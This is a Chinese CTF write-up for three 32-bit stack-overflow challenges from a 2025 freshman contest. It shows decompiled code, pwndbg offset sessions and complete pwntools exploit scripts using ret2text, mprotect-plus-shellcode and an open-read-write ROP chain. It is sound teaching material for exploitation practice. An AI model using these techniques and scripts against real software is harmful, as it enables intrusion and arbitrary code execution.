libc

[青海民族大学 2025 新生赛]libc

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

有一个 gets 函数,存在缓冲区溢出

secure函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
time_t seed; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

seed = time(0);
srand(seed);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}

system 函数,但连接路径有问题

思路:

这题有栈溢出和 system 函数

查找发现有 /bin/sh ,所以就是简单的 ret2text (32 位栈溢出题)
先通过 gdb 获得偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
motaly@motaly-VMware-Virtual-Platform:~$ gdb pwn
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from pwn...
------- tip of the day (disable with set show-tips off) -------
Calling functions like call (void)puts("hello world") will run all other target threads for the time the function runs. Use set scheduler-locking on to lock the execution to current thread when calling functions
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> r
Starting program: /home/motaly/pwn

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────
EAX 0
EBX 0xf7fa3e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
ECX 0xf7fa58ac (_IO_stdfile_0_lock) ◂— 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048690 (__libc_csu_init) ◂— push ebp
EBP 0x62616163 ('caab')
ESP 0xffffc960 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
─────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x62616164










──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc960 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffc964 ◂— 0x62616166 ('faab')
02:0008│ 0xffffc968 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffc96c ◂— 0x62616168 ('haab')
04:0010│ 0xffffc970 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffc974 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffc978 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffc97c ◂— 0x6261616c ('laab')
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x62616164 None
1 0x62616165 None
2 0x62616166 None
3 0x62616167 None
4 0x62616168 None
5 0x62616169 None
6 0x6261616a None
7 0x6261616b None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

偏移量为 112
根据这信息直接构造 payload

1
2
3
4
5
bin_sh=0x8048720
system=elf.plt['system']

payload=b'a'*112+p32(system)+p32(0)+p32(bin_sh)
io.sendlineafter(b'RET2LIBC >_<',payload)

p32(0) 是占位符,承接 system 函数的返回地址,当 system 执行完毕后,程序会尝试跳转到地址 0x00000000,这会触发错误,但在此之前,shell 已经被成功弹出,攻击已达成目标。)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',arch='i386',log_level='debug')
# io = remote('node4.anna.nssctf.cn', 28451)
io = process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

bin_sh=0x8048720
system=elf.plt['system']

payload=b'a'*112+p32(system)+p32(0)+p32(bin_sh)
io.sendlineafter(b'RET2LIBC >_<',payload)
io.interactive()

system

[青海民族大学 2025 新生赛]system
参考的大佬wp

准备


32 位静态链接程序,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

有一个 gets 函数,存在缓冲区溢出

思路

这题有栈溢出

查找发现有 /bin/sh ,但是没有 system 函数

因为是静态链接程序,无法用 ret2libc 的方法
(静态链接程序的特点是:编译时会把 “程序自己用到的 libc 代码” 打包进可执行文件,没用到的会直接删掉,没有 system 函数,就没办法获取)
通过查找发现存在 mprotect 函数,read 函数,open 函数,write 函数
所以这题有两个方法
先通过 gdb 获得偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
motaly@motaly-VMware-Virtual-Platform:~$ gdb pwn
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from pwn...
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.aglib.memory.read(addr, len), pwndbg.aglib.memory.write(addr, data), pwndbg.aglib.vmmap.get() and so on!
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> r
Starting program: /home/motaly/pwn

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────
EAX 0
EBX 0x80481a8 (_init) ◂— push ebx
ECX 0xfbad2288
EDX 0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0
EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4]
ESI 0
EBP 0x62616163 ('caab')
ESP 0xffffc990 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
─────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x62616164










──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc990 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffc994 ◂— 0x62616166 ('faab')
02:0008│ 0xffffc998 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffc99c ◂— 0x62616168 ('haab')
04:0010│ 0xffffc9a0 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffc9a4 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffc9a8 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffc9ac ◂— 0x6261616c ('laab')
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x62616164 None
1 0x62616165 None
2 0x62616166 None
3 0x62616167 None
4 0x62616168 None
5 0x62616169 None
6 0x6261616a None
7 0x6261616b None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

偏移量为 112

方法一

利用 mprotect 函数修改一段内存空间的权限为可读可写可执行,写入 shellcode 获得 shell
利用这个方法,要分为两段来构造 ROP

  • 第一段
    程序正常运行,修改返回地址为 mprotect 函数,调用 mprotect 修改内存权限
    mprotect 函数有三个参数,需要三次 pop 来清空栈,避免影响后面调用

    mprotect 函数的三个参数分别是:需要修改的内存的起始地址,修改内存空间的大小,需要赋予的权限
    这里我们选择修改 got

    地址为 0x80EA000
    修改内存空间的大小为 0x1000,可读可写可执行为 7
    查看 mprotect 函数的地址

    地址为 0x806DBB0
    根据这信息直接构造 payload
1
2
3
4
5
6
7
mprotect=0x806DBB0
pop3=0x0809e1d5
addr=0x080ea000
read=0x806D090

shellcode=asm(shellcraft.sh())
payload=b'a'*112+p32(mprotect)+p32(pop3)+p32(addr)+p32(0x1000)+p32(7)

32 位先写返回地址,在写参数

  • 第二段
    接着调用 read 写入 shellcode
     read 函数的三个参数分别是:指定要读取数据的来源,指向存储读取到数据的地址,指定最多要读取的字节数
1
2
3
4
5
6
7
8
9
mprotect=0x806DBB0
pop3=0x0809e1d5
addr=0x080ea000
read=0x806D090

shellcode=asm(shellcraft.sh())
payload=b'a'*112+p32(mprotect)+p32(pop3)+p32(addr)+p32(0x1000)+p32(7)+p32(read)+p32(addr)+p32(0x0)+p32(addr)+p32(len(shellcode))
io.sendlineafter(b'What do you plan to do?\n',payload)
io.sendline(shellcode)

这里指定要读取数据的来源从标准输入(0)读取数据,指向存储读取到数据的地址就用我们修改的地址,最多要读取的字节数就写生成的 shellcode 的长度
read 函数的返回地址也写到我们修改的地址处
最后先利用程序输入,发送 payload
再利用构造的 read ,发送 shellcode

方法二

orw

查看三个函数的地址
因为 open 函数是两个参数,所以需要两次 pop 来清空栈,避免影响后面调用

  • 第一段
    写一个 read 函数用来二次发送
    read 函数的三个参数分别是:指定要读取数据的来源,指向存储读取到数据的地址,指定最多要读取的字节数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node1.anna.nssctf.cn', 28834)
# io = process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

addr=0x080ea000
read=0x806D090
open=0x806D020
write=0x806D100
pop3=0x0809e1d5
pop2=0x080be23f

# read(0,addr,0x100)
payload=b'a'*112+p32(read)+p32(pop3)+p32(0x0)+p32(addr)+p32(0x100)

这里指定要读取数据的来源从标准输入(0)读取数据,指向存储读取到数据的地址就用我们修改的地址,最多要读取的字节数就给一个 0x100 大小
需要三次 pop 来清空栈,避免影响后面调用

  • 第二段
    开始构造 orw
    先是 open 函数
    open 函数的两个参数分别是:要打开的文件路径(字符串)和打开文件的方式
1
2
# open(addr,0)
payload+=p32(open)+p32(pop2)+p32(addr)+p32(0x0)

路径设置到我们设置的地址处,打开文件的方式为 O_RDONLY 只读(0)
需要两次 pop 来清空栈,避免影响后面调用
然后是 read 函数
read 函数的三个参数分别是:指定要读取数据的来源,指向存储读取到数据的地址,指定最多要读取的字节数

1
2
# read(3,addr,0x100)
payload+=p32(read)+p32(pop3)+p32(3)+p32(addr)+p32(0x100)

读取数据的来源是从 open 打开的文件(描述符 3)中读取数据
(当通过 open 函数新打开一个文件时,系统会分配一个最小的未被使用的描述符,通常从 3 开始(因为 0-2 已被标准流占用))
指向存储读取到数据的地址就用我们修改的地址,最多要读取的字节数就给一个 0x100 大小
需要三次 pop 来清空栈,避免影响后面调用
最后 write 函数
write 函数的三个参数分别是:指定要读取数据的来源,指向存储读取到数据的地址,指定最多要读取的字节数

1
2
# write(1,addr,0x100)
payload+=p32(write)+p32(addr)+p32(1)+p32(addr)+p32(0x100)

读取数据的来源是将 addr 中的内容通过标准输出(1)打印到终端,指向存储读取到数据的地址就用我们修改的地址,最多要读取的字节数就给一个 0x100 大小
先利用程序输入,发送 payload
再利用构造的第一个 read ,发送 open 函数的路径到 addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
addr=0x080ea000
read=0x806D090
open=0x806D020
write=0x806D100
pop3=0x0809e1d5
pop2=0x080be23f

# read(0,addr,0x100)
payload=b'a'*112+p32(read)+p32(pop3)+p32(0x0)+p32(addr)+p32(0x100)

# open(addr,0)
payload+=p32(open)+p32(pop2)+p32(addr)+p32(0x0)

# read(3,addr,0x100)
payload+=p32(read)+p32(pop3)+p32(3)+p32(addr)+p32(0x100)

# write(1,addr,0x100)
payload+=p32(write)+p32(addr)+p32(1)+p32(addr)+p32(0x100)

io.sendlineafter(b'What do you plan to do?\n',payload)
io.sendline(b'./flag\x00')

注意:这里字符串需以空字符(\x00) 作为结束标志

脚本

方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os='linux',arch='i386',log_level='debug')
# io = remote('node1.anna.nssctf.cn', 28983)
io = process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

mprotect=0x806DBB0
pop3=0x0809e1d5
addr=0x080ea000
read=0x806D090

shellcode=asm(shellcraft.sh())
payload=b'a'*112+p32(mprotect)+p32(pop3)+p32(addr)+p32(0x1000)+p32(7)+p32(read)+p32(addr)+p32(0x0)+p32(addr)+p32(len(shellcode))
io.sendlineafter(b'What do you plan to do?\n',payload)
io.sendline(shellcode)
io.interactive()

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node1.anna.nssctf.cn', 28718)
# io = process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

addr=0x080ea000
read=0x806D090
open=0x806D020
write=0x806D100
pop3=0x0809e1d5
pop2=0x080be23f

# read(0,addr,0x100)
payload=b'a'*112+p32(read)+p32(pop3)+p32(0x0)+p32(addr)+p32(0x100)

# open(addr,0)
payload+=p32(open)+p32(pop2)+p32(addr)+p32(0x0)

# read(3,addr,0x100)
payload+=p32(read)+p32(pop3)+p32(3)+p32(addr)+p32(0x100)

# write(1,addr,0x100)
payload+=p32(write)+p32(addr)+p32(1)+p32(addr)+p32(0x100)

io.sendlineafter(b'What do you plan to do?\n',payload)
io.sendline(b'./flag\x00')
io.interactive()

签到题2

[青海民族大学 2025 新生赛]签到题2

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}

gets 函数,存在缓冲区溢出

secure函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
time_t seed; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

seed = time(0);
srand(seed);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}

有直接的连接点

思路

这题有栈溢出和直接的连接
先通过 gdb 获得偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
motaly@motaly-VMware-Virtual-Platform:~$ gdb pwn
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from pwn...
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.aglib.memory.read(addr, len), pwndbg.aglib.memory.write(addr, data), pwndbg.aglib.vmmap.get() and so on!
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> r
Starting program: /home/motaly/pwn

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
Maybe I will tell you next time !
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────
EAX 0
EBX 0xf7fa3e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x80486d0 (__libc_csu_init) ◂— push ebp
EBP 0x62616163 ('caab')
ESP 0xffffc960 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
─────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x62616164










──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc960 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffc964 ◂— 0x62616166 ('faab')
02:0008│ 0xffffc968 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffc96c ◂— 0x62616168 ('haab')
04:0010│ 0xffffc970 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffc974 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffc978 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffc97c ◂— 0x6261616c ('laab')
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x62616164 None
1 0x62616165 None
2 0x62616166 None
3 0x62616167 None
4 0x62616168 None
5 0x62616169 None
6 0x6261616a None
7 0x6261616b None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

偏移量为 112
查看连接点的地址

地址为 0x804863A
根据这信息直接构造 payload

1
2
3
sh=0x804863A
payload=b'a'*112+p32(sh)
io.sendlineafter(b'do you know anything?',payload)

脚本

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node1.anna.nssctf.cn', 28283)
# io = process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

sh=0x804863A
payload=b'a'*112+p32(sh)
io.sendlineafter(b'do you know anything?',payload)
io.interactive()